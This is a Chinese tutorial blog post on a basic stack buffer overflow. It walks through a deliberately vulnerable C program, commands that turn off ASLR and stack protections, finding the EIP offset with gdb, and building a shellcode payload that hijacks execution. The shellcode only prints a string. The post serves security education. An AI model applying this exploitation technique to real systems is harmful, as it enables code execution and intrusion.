Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >缓冲区溢出攻击实践

缓冲区溢出攻击实践

作者头像
全栈程序员站长
发布于 2022-09-14 02:52:34
发布于 2022-09-14 02:52:34
1.5K00
代码可运行
举报
运行总次数:0
代码可运行

大家好,又见面了,我是你们的朋友全栈君。

缓冲区溢出攻击方法是黑客入门的基础,本文以具体实例一步步介绍如何进行最初级的缓冲区溢出攻击。

攻击前准备

本文介绍的利用方法是最原始的方法,高版本Linux已启用数据执行保护和地址随机化安全特性防止这种初级的利用方法。为了向大家展示这种攻击方法,需要做如下的事情:

禁止地址随机化功能:

echo 0 > /proc/sys/kernel/randomize_va_space

系统支持编译32位的应用程序和运行库:

示例代码

为了直接展示缓冲区漏洞攻击方法,我们省掉了与网络相关的部分,而是直接编写一个带栈缓冲区溢出的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char buf[32];
        FILE *fp;

        fp = fopen("bad.txt", "r");
        if (!fp) {
                perror("fopen");
                return 1;
        }

        fread(buf, 1024, 1, fp);
        printf("data: %s\n", buf);

        return 0;
}

示例代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。

下文就是这个程序作为漏洞代码,一步步剖析如何攻击。

编译程序

gcc -Wall -g -fno-stack-protector -o stack1 stack1.c -m32 -Wl,-zexecstack

笔者的Linux操作系统是64位的Ubuntu操作系统(12.04),该系统已支持数据执行保护功能和栈溢出检测功能。因此,使用-fno-stack-protector选项禁用栈溢出检测功能,-m32选项指定生成32位应用程序,-Wl,-zexecstack选项支持栈段可执行。

如果是32位Linux可以直接编译:gcc -Wall -g -o stack1 stack1.c

尝试修改EIP,控制执行路径

那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?

buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。

为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.

为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:

输出30个’A’字符

$ perl -e ‘printf “A”x30’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

输出30个’A’字符,后追加4个’B’字符

$ perl -e ‘printf “A”x30 . “B”x4’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

尝试的方法很简单,EIP前的空间使用’A’填充,而EIP使用’BBBB’填充,使用两种不同的字母是为了方便找到边界。

目前知道buf大小为32个字符,可以先尝试填充32个’A’和追加’BBBB’,如果程序没有出现segment fault,则每次增加’A’字符4个,直到程序segment fault。如果 ‘BBBB’刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242 。

我机器上的测试过程:

$ perl -e ‘printf “A”x32 . “B”x4’ > bad.txt ; ./stack1 data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒

已溢出,造成输出乱码,但没有segment fault

$ perl -e ‘printf “A”x36 . “B”x4’ > bad.txt ; ./stack1 data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

没有segment fault

$ perl -e ‘printf “A”x40 . “B”x4’ > bad.txt ; ./stack1 data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

没有segment fault

$ perl -e ‘printf “A”x44 . “B”x4’ > bad.txt ; ./stack1 data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒

输出乱码,但没有segment fault

$ perl -e ‘printf “A”x48 . “B”x4’ > bad.txt ; ./stack1 data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)

产生segment fault.

使用调试工具gdb分析此时的eip是否为0x4244242

$ gdb ./stack1 core -q Reading symbols from /home/ivan/exploit/stack1…done. [New LWP 6043]

warning: Can’t read pathname for load map: Input/output error. Core was generated by `./stack1′. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb) info register eip eip 0x42424242 0x42424242

分析core文件,发现eip被写成’BBBB’,注入内容中的’BBBB’刚才对准了栈中存放EIP的位置。

找到EIP位置,离成功迈进了一大步。

注入执行代码

控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。

通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。

为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出”FUCK”字符串,然后程序退出。

为了简单起引, 我们shellcode就相当于下面两句C语言的效果:

write(1, “FUCK\n”, 5);

exit(0);

在Linux里面,上面两个C语句可通过两次系统调用(调用号分别为4和1)实现。

下面32位x86的汇编代码shell1.s:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
start:xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edx   ; 寄存器清零mov bl, 1add esp, string - start ; 调整esp指向字符串mov  ecx, espmov  dl, 5mov al, 4int 0x80                ;write(1, "FUNC\n", 5)mov al, 1mov bl, 1dec blint 0x80                ; exit(0)string:db "FUCK",0xa

接着做编译和反编译

编译命令:nasm -o shell1 shell1.s

反编译命令: ndisasm shell1

反编译结果如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
00000000  31C0              xor ax,ax
00000002  31DB              xor bx,bx
00000004  31C9              xor cx,cx
00000006  31D2              xor dx,dx
00000008  B301              mov bl,0x1
0000000A  83C41D            add sp,byte +0x1d
0000000D  89E1              mov cx,sp
0000000F  B205              mov dl,0x5
00000011  B004              mov al,0x4
00000013  CD80              int 0x80
00000015  B001              mov al,0x1
00000017  B301              mov bl,0x1
00000019  FECB              dec bl
0000001B  CD80              int 0x80
0000001D  46                inc si
0000001E  55                push bp
0000001F  43                inc bx
00000020  4B                dec bx
00000021  0A                db 0x0a

根上述反编译出来的字节码,使用如下的perl命令来生成:

perl -e ‘printf “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘

那么,将之前测试的那段注入内容拼在一块,生成的命令如下:

perl -e ‘printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt

打通任督二脉

上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。

很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。

$ perl -e ‘printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt ;./stack1 data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒ Segmentation fault (core dumped)

$ gdb ./stack1 core -q Reading symbols from /home/ivan/exploit/stack1…done. [New LWP 7399]

warning: Can’t read pathname for load map: Input/output error. Core was generated by `./stack1′. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb) info register esp esp 0xffffd710 0xffffd710

esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为”\x10\xd7\xff\xff”

所以将EIP原来的注入值’BBBB’变成“\x10\xd7\xff\xff”即可。再次测试:

$ perl -e ‘printf “A”x48 .“\x10\xd7\xff\xff” . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt ;./stack1 data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒ FUCK

成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.

小结

这里没有任何魔术手法,完全是利用缓冲区溢出漏洞,控制程序执行用户注入的一段shellcode。是否要动手试试,那赶快吧,但不同的机器,EIP对准的位置是不一样的,请大家测试时注意。

本文介绍的是最古老(10+前年)的攻击技术,当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在操作系统默认启用地址随机化功能,很难猜测到EIP注入的地址。

但这里技术,都不妨碍我们学习最古老的攻击技术;后面的文章会沿着攻防的思路,介绍保护机制以及新一轮的攻击技术。

============= 回顾一下本系列文章 ==============

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/157989.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年7月1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
缓冲区溢出 攻击 「建议收藏」
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写
全栈程序员站长
2022/09/07
1.3K0
缓冲区溢出 攻击 「建议收藏」
缓冲区溢出攻击原理分析
《缓冲区溢出攻击实践》以实践者角度介绍了初级缓冲区溢出攻击方法,本文从原理上对该方法做原理性介绍。
全栈程序员站长
2022/09/14
1.2K0
缓冲区溢出攻击原理分析
缓冲区溢出攻击初学者手册(更新版)
说明 之前版本翻译质量不佳,本人赵阳在这里对本文的读者表示深深的歉意。由于本人的疏忽和大意导致您不能很好的读完这篇文章,同时也对原文内容进行了破坏,也对IDF和FreeBuf造成了一定的不良影响。我在这里对大家进行道歉!对翻译文章进行了即时的修改,同时感谢大家的评语!我会吸取此次教训,保证以后不会在出现类似的事情!请大家原谅!谢谢! 以下为正文 缓冲区溢出会出现在和用户输入相关缓冲区内,在一般情况下,这已经变成了现代计算机和网络方面最大的安全隐患之一。这是因为在程序的基础上很容易出现这种问题,但是这对于不了
FB客服
2018/02/02
1.4K0
5.2 基于ROP漏洞挖掘与利用
通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这就给恶意代码的溢出提供了的条件,利用溢出攻击者可以控制程序的执行流,从而控制程序的执行过程并实施恶意行为,本章内容笔者通过自行编写了一个基于网络的FTP服务器,并特意布置了特定的漏洞,通过本章的学习,读者能够掌握漏洞挖掘的具体流程,及利用方式,让读者能够亲自体会漏洞挖掘与利用的神奇魔法。
王 瑞
2023/10/11
4130
5.2 基于ROP漏洞挖掘与利用
SEED缓冲区溢出实验笔记
缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/  (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程) 1. 准备工作 使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。 (1)内存地址随机化(Address Space Randomization):基于Linux的操作
ascii0x03
2018/04/12
2.1K0
SEED缓冲区溢出实验笔记
​CS:APP Attack Lab: 缓冲区溢出攻击
CMU的15-213课程Introduction to Computer Systems (ICS)里面有一个实验叫attack lab,利用缓冲区溢出漏洞改变正常的程序运行行为,从而达到攻击的目的。关于这个lab的解题思路,网上已经有很多了,但我依然想要再来一篇。原因包括:
王录华
2020/02/25
2.7K0
Vulnhub靶机渗透-Tr0ll:2
既然web没什么突破口,那么我们还是从ftp试试看,考虑生成个社工字典,根据WEB给出的Author以及Editor:
HACK学习
2020/04/27
1.3K0
Vulnhub靶机渗透-Tr0ll:2
简单缓冲区溢出原理
1、审计:可以看到,程序一开始声明并初始化了key=0x12345678, 并声明了32字节的buf, 然后通过strcpy函数将第一个参数拷贝到buf中, 接着判断key是否为0x42424242,如是则获得shell。(levelOne的权限为level1) key已经初始化为0x12345678,如何才能将其修改为0x42424242?
Elapse
2020/08/17
9150
【Vulnhub】Tr0ll:2
这四个目录下有图片,下载下来,发现 dont_bother 跟其他图片的 md5 不一样
yichen
2020/08/28
9040
【Vulnhub】Tr0ll:2
[转]现代Linux系统上的栈溢出攻击
这个教程试着向读者展示最基本的栈溢出攻击和现代Linux发行版中针对这种攻击的防御机制。为此我选择了最新版本的Ubuntu系统(12.10),因为它默认集成了几个安全防御机制,而且它也是一个非常流行的发行版。安装和使用都很方便。我们选择的系统是X86_64的。读者将会了解到栈溢出是怎样在那些默认没有安全防御机制的老系统上面成功的溢出的。而且还会解释在最新版本的Ubuntu上这些保护措施是如何工作的。我还会使用一个小例子来说明如果不阻止一个栈上面的数据结构被溢出那么程序的执行路径就会失去控制 。
墨文
2020/02/28
1.3K0
缓冲区溢出漏洞
缓冲区溢出的根本原因是冯洛伊曼体系的计算机并不严格的区分代码段和数据段,只是简单的根据eip的指向来决定哪些是代码,所以缓冲区溢出攻击都会通过某种方式修改eip的值,让其指向恶意代码。缓冲区溢出攻击一般分为堆缓冲区溢出攻击和栈缓冲区溢出攻击
Masimaro
2019/02/25
2.1K0
Exploit-Exercises Protostar writeup PART I
stack0 $ python -c "print 0x44*'a'" | ./stack0 you have changed the 'modified' variable stack1 $ python -c "print 0x40*'a'+'\x64\x63\x62\x61'" | xargs ./stack1 you have correctly got the variable to the right value stack2 import os payload = 'a'*0x40 + '\
WeaponX
2018/05/04
7330
Shellex:一款针对shellcode的转换与处理工具
Shellex是一款功能强大的C-shellcode转换器,可以帮助广大研究人员将C-shellcode转换为十六进制代码,并且能够在gdb、windbg、radare2、ollydbg、x64dbg、immunity调试器和010编辑器中粘贴和执行shellcode。
FB客服
2021/03/25
2.8K0
Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出
从 2004 年末开始,glibc malloc 变得更可靠了。之后,类似 unlink 的技巧已经废弃,攻击者没有线索。但是在 2005 年末,Phantasmal Phatasmagoria 带来了下面这些技巧,用于成功利用堆溢出。
ApacheCN_飞龙
2022/12/01
6040
Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出
Windows下SLmail邮件服务器缓冲区溢出理解及实验
本次缓冲区溢出实验是在Windows7 Unlimit 64位下的SLmail邮件服务溢出测试。 注:SLmail并不是一个特别常用的邮件服务应用,本次实验仅限于理解缓冲区溢出的过程以及方法 目标机: Windows7 Unlimit x64 10.11.12.13 攻击机: Kali Linux 10.11.0.29 涉及工具: Metasploit Framework Immunity Debugger(装好mona模块) 步骤 先将Immunity Debugger Attach上SLmail的主进程
FB客服
2018/02/27
1.7K0
Windows下SLmail邮件服务器缓冲区溢出理解及实验
构建ROP链实现远程栈溢出
通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这就给恶意代码的溢出提供了的条件,利用溢出,攻击者可以控制程序的执行流,从而控制程序的执行过程并实施恶意行为,而微软的DEP保护机制则可使缓冲区溢出失效,不过利用ROP反导技术依然是可被绕过的,接下来将具体分析如何利用ROP技术绕过DEP保护机制。
王 瑞
2022/12/28
8760
构建ROP链实现远程栈溢出
SEED:缓冲区溢出漏洞实验
前言:本文是基于美国雪城大学的seed实验所做的缓冲区溢出实验,笔者在进行实验的时候参考了网上已有的部分博客,但是发现存在部分细节没有详细解释,导致实验过程中难以复现上述攻击。因此重新梳理了整个实验过程,涉及原理的内容不再赘述,详见下面链接中提供的实验说明,希望对各位读者起到一定帮助。
FB客服
2019/12/23
1.4K0
SEED:缓冲区溢出漏洞实验
免杀必会- 规避杀软的库
在编写恶意软件时,我们时常会用到系统的一些库,库的使用是非常简单,好用的,只需要导入头文件,那么就可以使用相应的api或函数,但是如果用于免杀或者c2,但是在EDR和终端软件横行的现在,不太“好”,下面将是我们在做免杀时或自己开发c2时常用的一些库,有现成调用代码,复制粘贴即可使用。
Gamma实验室
2022/12/01
1.4K0
PCMAN FTP STOR命令栈溢出
    继XX同学上个学期对PCMAN FTP这个软件进行了残暴的溢出测试(溢出点是FTP用户名,版本不清楚),我也开始学习逆向和溢出,谷歌上搜索pcman's ftp,找到了这个溢出exploit:http://www.exploit-db.com/exploits/27703/ 。作为我初学exp的试验工具~~
phith0n
2020/10/16
8650
PCMAN FTP STOR命令栈溢出
远程缓冲区溢出简单分析
重制版,新版教程,包含ROP反导绕过DEP技术: https://www.cnblogs.com/LyShark/p/12340479.html
王 瑞
2022/12/28
5220
远程缓冲区溢出简单分析
相关推荐
缓冲区溢出 攻击 「建议收藏」
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验